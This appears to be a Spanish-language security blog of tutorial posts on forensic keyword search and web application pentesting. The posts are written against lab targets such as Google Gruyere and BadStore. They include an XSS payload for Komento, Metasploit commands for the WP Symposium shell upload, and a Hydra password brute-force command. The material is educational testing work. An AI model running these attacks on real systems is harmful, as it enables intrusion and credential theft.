blog

Una búsqueda de palabras clave durante un análisis forense, permite identificar rápidamente datos relevantes mediante la búsqueda de nombres específicos de personas y lugares, direcciones de sitios web en internet, direcciones de correo electrónicos, nombres de archivos, direcciones IP, entre otros términos. Esta búsqueda es realizada dentro del contenido de las unidades de almacenamiento y memoria interna.

FKLOOK es un script el cual permite buscar por una palabra clave en diversos archivos, para luego copiar únicamente los archivos en los cuales se encontró coincidencias de la palabra clave, hacia un directorio separado a elegir.

El script se ubica en el directorio “/usr/share/caine/pacchetti/scripts/”

Al ejecutar el script, este solicita escribir el directorio de salida en el cual se salvarán los archivos. Luego se solicita escribir el directorio conteniendo los archivos en los cuales se desea buscar por la palabra clave.

Finalizada la ejecución del script, este únicamente ha encontrado coincidencias de la palabra clave dentro del archivo de nombre “pagfile.sys”

Esta coincidencia se verifica utilizando el comando “grep” con las opciones “abi”, lo cual permite procesar el archivo binario como texto, mostrar el desplazamiento en bytes de cada coincidencia, e ignorar las mayúsculas y minúsculas.

El desplazamiento en bytes se muestra en color verde, mientras las coincidencias de la palabra clave en color rojo.

Anotación: Al ejecutar el comando “grep” dentro del script se presentó el mensaje; “grep: memory exhausted”. Una de las causas a esto es la utilización de la opción “-R” al buscar archivos binarios.

Fuentes:

http://www.caine-live.net/page11/page11.html
http://www.gnu.org/software/grep/manual/grep.html
http://www.faqoverflow.com/unix/90036.html

El componente Komento para Joomla contiene una falla la cual permite un ataque de Cross-Site Scripting (XSS). Esta falla existe debido a la no validación del programa para los ingresos en los parámetros “website” o “latitude” antes de retornarlos a los usuarios. Esto puede permitir a un atacante crear una petición especial la cual podría ejecutar código script arbitrario en una sesión del navegador del usuario dentro la relación de confianza entre el navegador y el servidor.

La vulnerabilidad existe debido a la insuficiente sanitización de los datos pasados por el usuario mediante el parámetro “website” hacia las URL“/?option=com_komento”. Un atacante remoto puede enviar un comentario en un campo “Website” especialmente creado y ejecutar código HTML y Script arbitrario en el navegador con el contexto de un sitio web vulnerable cuando un usuario hace clic sobre el sobrenombre del autor malicioso.

Se utiliza Zed Attack Proxy para explotar la vulnerabilidad.

Iniciar ZAP configurando el navegador web para utilizarlo como proxy de interceptación. Luego visitar el sitio web en evaluación.

Se identifica el bloque de comentarios en la aplicación web. Luego se utiliza la funcionalidad para interceptar y manipular los datos antes de ser enviados hacia la aplicación web. En ZAP hacer clic en el botón con un círculo de color verde “Set break on all requests and responses”.

Completar los campos del formulario de comentarios, para luego hacer clic en el botón de nombre “Submit Comment”.

La petición enviada hacía la aplicación web ha sido interceptada.

Se procede a modificar el valor del parámetro “Website” con:

http%3A%2F%2Fwww.google.com%22%20onclick%3D%22javascript%3Aalert(%2FXSS%2F)%3B%22

Para luego hacer clic en el botón “Submit and continue to next break point” de ZAP.

El comentario modificado será publicado.

Cuando se haga clic en el nombre o sobrenombre del usuario publicador del comentario se ejecutará el script malicioso. Para la demostración sólo se presenta una ventana de alerta con el texto “XSS”.

Este ataque puede ser más elaborado utilizando BeEF, el cual es un Framework para la Explotación del navegador Web.

Fuentes:

http://www.exploit-db.com/exploits/31174/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0793
http://osvdb.org/show/osvdb/101961
http://beefproject.com/
http://www.reydes.com/d/?q=BeEF_Browser_Explotation_Framework_Project
https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29

El Plugin WP Symposium para WordPress contiene una falla la cual permite a un atacante remoto ejecutar código arbitrario PHP. Esta falla existe debido a la inadecuada verificación y sanitización del script /wp-symposium/server/file_upload.php para los archivos subidos por un usuario. Subiendo un archivo .php, el sistema remoto colocará el archivo en una ruta accedible por el usuario. Haciendo una petición directa hacía el archivo subido se permitirá al atacante ejecutar el script con los privilegios del servidor web

Para la siguiente demostración se utilizará una el módulo de nombre “WordPress WP Symposium 14.11 Shell Upload” de Metasploit Framework.

Iniciar Metasploit Framework y buscar el módulo pertinente.

> search symposium

Indicamos a Metasploit Framework la utilización de módulo y se procede a listar sus opciones.

> use exploit/unix/webapp/wp_symposium_shell_upload
> show options

Se definen las opciones pertinentes para luego ejecutar el exploit. Considerar el uso del payload por defecto el cual será Meterpreter.

> set RHOST 192.168.0.XX
> set TARGETURI /wordpress-3.8.1/
> exploit

La vulnerabilidad se ha explotado satisfactoriamente y se tiene acceso al sistema en evaluación mediante una sesión con Meterpreter.

Dado el hecho de no controlar el sistema con un usuario privilegiado la siguiente acción será tratar de elevar o escalar privilegios.

Fuentes:

https://www.owasp.org/index.php/Unrestricted_File_Upload
http://osvdb.org/show/osvdb/116046
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-10021
https://www.exploit-db.com/exploits/35778/
http://www.rapid7.com/db/modules/exploit/unix/webapp/wp_symposium_shell…

Si una aplicación web almacena inseguramente las credenciales de registro de ingreso o login, la seguridad del mecanismo de login se ve minada aunque no exista una falla inherente al proceso de autenticación por si mismo.

Este es un error muy común encontrado en las aplicaciones web donde las credenciales de usuario son almacenadas inseguramente dentro de la base de datos. Esto podría involucrar contraseñas siendo almacenadas en texto plano. Y aunque las contraseñas hayan sido “hasheadas” utilizando un algoritmo estándar como MD5 o SHA-1, esto aun permite al atacante consultar los hashes contra una base de datos previamente calculada de valores hash.

Para la siguiente demostración se utilizará la aplicación vulnerable de nombre BadStore.

Se navega la aplicación web vulnerable utilizando Firefox configurado con Zed Attack Proxy. El objetivo es revisar las funcionalidades relacionadas a la autenticación, como también las relacionadas al mantenimiento del usuario. Si se encuentran instancias en la cual la contraseña del usuario es transmitida de retorno hacia el cliente, esto indica un almacenamiento inseguro de las contraseñas, ya sea estén en texto plano o un cifrado reversible.

En este caso se identifica el almacenamiento de credenciales de usuario dentro de la cookie. Este dato es enviado hacía la aplicación web en cada petición realizada. Los datos incluidos dentro de la cookie también son devueltos por la aplicación web.

En ZAP utilizar la opción “Tools -> Encode/Decode/Hash...” para decodificar este valor encontrado dentro de la cookie.

Seleccionar el resultado del campo “URL Decode” y realizar una nueva decodificación.

En el campo de nombre “Base 64 Decode” se visualiza el texto plano, entre la información a interpretar se puede observar el correo electrónico del usuario un hash, un nombre de usuario y una letra “U”. El hash es un MD5. Por lo cual se utiliza alguno de los diversos servicios en línea disponibles en Internet para obtener el texto plano desde el hash MD5. Obteniéndose de esta manera la contraseña para el usuario.

También se identifica un directorio de nombre “/supplier/accounts/” en la raíz del servidor web.

Una rápido reconocimiento visual indica una alta probabilidad de contener datos cifrados utilizando base64.

Se guardan estos datos en un archivo para realizar una descifrado manual utilizando comandos bash en Linux. La información descifrada incluye, un nombre de usuario, contraseña, otro valor posiblemente como un recordatorio de la contraseña, y tal vez la dirección IP desde donde se realizó la última conexión del usuario.

Así mismo se debe tratar de identificar cualquier tipo de vulnerabilidad de ejecución de comandos arbitrarios y consultas, intentando encontrar la ubicación dentro de la base de datos o sistema de archivos donde se almacenan las credenciales del usuario.

Fuentes:

https://www.owasp.org/index.php/Insecure_Storage
https://code.google.com/p/zaproxy/
http://www.hashkiller.co.uk/
https://crackstation.net/

Algunas aplicaciones web generan automáticamente nombres de usuarios. Cuando un atacante conoce esto puede utilizar estos nombres de usuario como base para ataques posteriores. Así mismo algunas aplicaciones web asignan automáticamente contraseñas iniciales, lo cual podría ser detectado por un atacante. En algunos escenarios se asignan como contraseñas los mismos nombres de usuarios, o secuencias fácilmente identificables o factibles de ser adivinadas.

Para las siguientes demostraciones se utilizarán tres CMS populares.

Los logins administrativos en Joomla están disponibles en una área especial. El Super Usuario por defecto es “admin”, el cual es instalado en cada sitio de Joomla.

El Wordpress también se define el nombre de usuario por defecto a “admin”.

El Drupal se presenta el mismo escenario descrito en los anteriores casos.

Aunque en los CMSs detallados no se definen contraseñas por defecto, un atacante podría utilizar los nombres de usuario probando con contraseñas por defecto o fáciles de adivinar para ganar acceso a la aplicación web y realizar acciones no autorizadas.

Existen sitios como SplashData donde se publican listas de las peores contraseñas utilizadas encontradas en Internet.

En algunas aplicaciones web también se generan nombres de usuario de acuerdo a una secuencia predecible como; usuario1, usuario2, usuario3, usuarioN. Si el atacante puede detectar o identificar esto, puede potencialmente enumerar una muy completa lista de nombres de usuarios válidos. Esto aunado a la asignación de contraseñas por defecto, débiles o secuenciales, eleva el riesgo de la aplicación web.

Fuentes:

http://capec.mitre.org/data/definitions/70.html
https://docs.joomla.org/Administrator_%28User%29
http://splashdata.com/press/worst-passwords-of-2014.htm
http://www.joomla.org/
http://www.drupal.org/
https://wordpress.org/

Las aplicaciones web frecuentemente implementan funciones de “Recordarme” como una conveniencia para el usuario. De esta manera los usuarios no necesitan ingresar nuevamente su nombre de usuario y contraseña cada vez utilicen la aplicación en una computadora específica. Estas funciones son frecuentemente inseguras por diseño y dejan expuesto al usuario a un ataque ya sea local o por usuarios en otras computadoras.

Para la siguiente demostración se utiliza el WordPress incluida en la máquina virtual OWASP Broken Web Applications Project. Se ingresa un nombre de usuario y contraseña válidos, activando la opción “Remember Me”.

Algunas funciones de “Recordarme” se implementan utilizando una cookie persistente. Cuando la cookie es enviada, la aplicación confía en esta para autenticar al usuario, y crea una sesión de aplicación para el usuario, evitando el login o registro de ingreso. Utilizar Cookie Manager+ para visualizar el contenido de las cookies creadas.

En este escenario la función “Recordarme” define dos cookies, la primera contiene el nombre de usuario y la segunda cookie contiene algo similar a un hash MD5. Es factible utilizar entonces servicios en línea, los cuales permiten averiguar el texto plano detrás de diversos tipos de hashs y cifrados.

Aunque la información almacenada para identificar y recordar a los usuarios esté cifrada, es factible averiguar o adivinar esta información. Adicionalmente a esto la información podría ser vulnerable a ser capturada a través de una falla como XSS - Cross-Site Scripting, o mediante un acceso local a la computadora del usuario.

Fuentes:

https://www.owasp.org/index.php/OWASP_Broken_Web_Applications_Project
https://addons.mozilla.org/en-us/firefox/addon/cookies-manager-plus/
http://www.hashkiller.co.uk/md5-decrypter.aspx

Si una aplicación web utiliza una conexión HTTP sin cifrar para transmitir credenciales de “login” o registro de ingreso, un atacante posicionado en la red puede de hecho interceptar estas credenciales. Esta interceptación puede suscitarse en diversos escenarios.

Aunque el “login” o registro de ingreso se suscite utilizando HTTPS, aún existe la posibilidad de exponer las credenciales si la aplicación no las gestiona adecuadamente, como transmitir las credenciales en una cadena de consulta, lo cual deja rastros en el navegador web o servidor web. Adicionalmente algunas aplicaciones web almacenan las credenciales de usuario en cookies, lo cual es un diseño inadecuado, pues estas pueden ser también comprometidas.

En algunas aplicaciones web se utiliza HTTP para áreas sin autenticación y se cambia hacia HTTPS al momento del login. Aunque el escenario ideal debería ser cambiar a HTTPS cuando se carga la página de login en el navegador, lo cual permite al usuario verificar la autenticidad de la página antes de ingresar sus credenciales.

Para la siguiente demostración se utilizará Google Gruyere como aplicación web vulnerable.

Utilizar Firefox configurando previamente a Zed Attack Proxy como proxy de interceptación. De esta manera se vigilará el tráfico en ambas direcciones entre el cliente y el servidor.

El propósito es identificar los casos donde las credenciales son enviadas en una cadena de consulta URL, como una cookie, o son transmitidas de retorno desde el servidor hacia el cliente. Esto permitirá indentificar los medios por el cual un atacante podría interferir con la lógica de la aplicación para comprometer otras credenciales de usuario.

En primera instancia se identifica el envío de las credenciales en texto plano.

También se identifica la creación de una cookie conteniendo el nombre de usuario utilizado, un probable nivel de privilegio, y un código numérico.

Otra área donde se realiza el intercambio de credenciales en texto plano es en el perfil del usuario, donde es factible cambiar la contraseña entre otros datos más.

Si cualquier información sensible es transmitido sobre un canal sin cifrar es vulnerable a interceptación. En caso no se transfieran de manera insegura analizar lo que pareciese ser una codificación u ofuscación de datos, pues podría se posible identificar y revertir estos algoritmos. Adicionalmente si las credenciales son enviadas utilizando HTTPS pero el formulario de registro de ingreso o login utiliza HTTP, la aplicación es vulnerable a un ataque de hombre en el medio, lo cual puede ser utilizado para capturar credenciales.

Fuentes:

https://google-gruyere.appspot.com/
https://code.google.com/p/zaproxy/

La mayoría de formularios para registrar el ingreso o hacer "login" hacia una aplicación web requieren dos ítemes de información, un nombre de usuario y una contraseña. Otras requerirán otro dato como un PIN por ejemplo.

Cuando un intento es fallido podría ser factible inferir cual de los datos ingresados es erróneo, esto depende del mensaje de error devuelto por la aplicación web, el cual debe proporcionar detalles sobre si fue erróneo el nombre de usuario o contraseña ingresados.

Para la siguiente demostración se utilizará Google Gruyere. Utilizar un navegador web para ingresar al formulario de autenticación de la Aplicación Web.

Escribir un nombre de usuario y contraseña.

El mensaje devuelto por la aplicación web no indica con precisión cual de los datos ingresados es incorrecto. Por lo tanto se debe buscar otro método para realizar la enumeración de usuarios.

Adicionalmente a utilizar el formulario de autenticación o login, es factible intentar enumerar los nombres de usuarios válidos en la aplicación web utilizando un formulario de registro para nuevos usuarios. Si la aplicación permite especificar los nombres de usuario, la enumeración es casi imposible de prevenir, pues no se permitirá la coexistencia de dos nombres de usuario iguales.

Para realizar esta prueba se utiliza el formulario de registro de usuarios de la aplicación web.

Se ingresa el nombre de usuario y la contraseña del usuario a crear o registrar en la aplicación web.

El mensaje de error devuelto informa la existencia del usuario “admin”. Para el caso de un usuario inexistente la aplicación web procede a crear la nueva cuenta.

En base a este criterio si es factible realizar la enumeración de nombres de usuario.

Es factible intentar automatizar este procedimiento con la herramienta “Fuzzer” de Zed Attack Proxy, pero en el caso de la aplicación web utilizada en la presente demostración, no solo se identificarían los nombres de usuario existentes, también se crearían o registrarían nuevas cuentas con los nombres de usuario inexistentes en la aplicación web.

El poder identificar o enumerar una lista de nombres de usuarios incrementa las probabilidades de comprometer la aplicación web, pues esta información puede ser utilizada para ataques posteriores como tratar de adivinar sus contraseñas, o realizar ataques de ingeniería social.

Fuentes:

https://google-gruyere.appspot.com/
https://code.google.com/p/zaproxy/

Una gran cantidad de aplicaciones web emplean controles mínimos o inexistentes sobre la calidad de las contraseñas utilizadas por los usuarios, por lo cual es común encontrar aplicaciones permitiendo contraseñas de longitud pequeña o en blanco, palabras comúnmente encontradas en diccionarios o nombres, el mismo nombre de usuario como contraseña o contraseñas por defecto.

Si una aplicación permite a un atacante realizar repetidos intentos para autenticarse con diferentes usuarios y contraseñas, es altamente vulnerable a un ataque manual para intentar adivinar una combinación acertada. Un atacante con mayor experiencia utilizará técnicas automáticas para intentar adivinar usuarios y contraseñas válidas, mediante la utilización de listas de palabras o valores de gran longitud.

Para la siguiente demostración se utilizará Google Gruyere como la aplicación web objetivo de la evaluación y la herramienta THC-Hydra en Samurai.

Se inicia ZAP y se configura Firefox para utilizarlo como proxy, luego se ingresa en el formulario HTML de autenticación de Gruyere un usuario y contraseña aleatorio.

Se analiza el mensaje de respuesta obtenido, dado el hecho de haber ingresado un usuario y contraseña incorrectas.

El hecho de realizar estas acciones es para entender el comportamiento de la aplicación web, y el mensaje devuelto por la aplicación ante este intento infructuoso.

En ZAP se procede a analizar la petición realizada al enviar el formulario de “Login” para conocer el método utilizado, la URL y los parámetros enviados hacia la aplicación web.

En la pestaña de Respuesta de ZAP es factible analizar la fuente HTML devuelta por la aplicación web, en la cual se observa el mensaje de error obtenido.

Esta información es de utilidad para definir las opciones a utilizar con THC Hydra. La opción “-l” define el nombre de usuario del cual se intentará adivinar su contraseña. La opción “-P” define un archivo conteniendo una lista de palabras la cual se utilizará como posibles contraseñas. “http-get-form” define el método GET utilizado para enviar el formulario HTML hacia el servidor. Los valores “uid”, “pw” y “submit” son obtenidos del formulario HTML. En “^USER^” Hydra asignará el nombre de usuario utilizado y en ”^PASS^” Hydra asignará cada una de las posibles contraseñas. Luego de los “:” se define el mensaje de error devuelto cuando no se han ingresado las credenciales correctas. Esto es muy importante, pues de otra manera Hdyra no tiene manera de conocer cuando las credenciales en evaluación son correctas o no. La opción “-V” mostrará la combinación de usuario y contraseña en evaluación. Y la opción “-t” define el número de tareas en paralelo.

$ sudo hydra -l admin -P Wordlists/500-worst-passwords.txt 192.168.0.XX http-get-form "/1042115123/login:uid=^USER^&pw=^PASS^&submit=Login:Invalid user name or password." -V -t 1

Para la presente demostración Hydra ha sido capaz de obtener la contraseña correcta para el usuario definido.

En caso se hubiese definido un archivo conteniendo un listado de posibles usuarios, hydra continuaría el proceso con el siguiente nombre de usuario de la lista, hasta finalizar con todos los intentos posibles.

Fuentes:

https://code.google.com/p/zaproxy/
https://www.thc.org/thc-hydra/
https://google-gruyere.appspot.com/
https://www.thc.org/thc-hydra/README

WMAP es un escaner de vulnerabilidades el cual fue originalmente creado desde una herramienta de nombre “SQLMap”. Esta herramienta está integrada en Metasploit Framerwork y permite realizar escaneos contra aplicaciones web desde el interior del framework.

Entre los objetivo de WMAP se incluye una nueva manera de unir métodos de prueba con métodos de explotación, hacer algo útil para ayudar en las evaluaciones de cualquier cosa relacionada con HTTP/S. Y WMAP puede ser utilizado como un scaner, pero debería ser tratado como una extensión de Metasploit Framework.

Iniciar Metasploit Framework y cargar WMAP.

> load wmap

Para obtener la ayuda de WMAP utilizar el comando help.

> help wmap

En primera instancia se define la URL del sitio a evaluar.

> wmap_sites -h
> wmap_sites -a http:// 192.168.0.19

Se define la URL del objetivo de evaluación.

> wmap_targets -h
> wmap_targets -t http:// 192.168.0.19/

Visualizar la lista de módulos los cuales serán utilizados para realizar el escaneo.

> wmap_run -t

Ejecutar el escaneo de vulnerabilidades contra la URL objetivo de evaluación.

> wmap_run -e

Finalizado el escaneo, se debe utilizar el comando “wmap_vulns -l” para visualizar los resultados obtenidos.

Para el sitio web objetivo contra el cual se realizó el escaneo de vulnerabilidades, los resultados obtenidos utilizando WMAP no revelan hallazgos interesantes.

Sugiero revisar los módulos a utilizar durante el escaneo, entre los cuales se incluyen módulos para descubrir y capturar información, archivos y directorios, inyecciones SQL y XPATH, servicios web, webdav entre otros.

> wmap_modules

Fuentes:

https://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-e…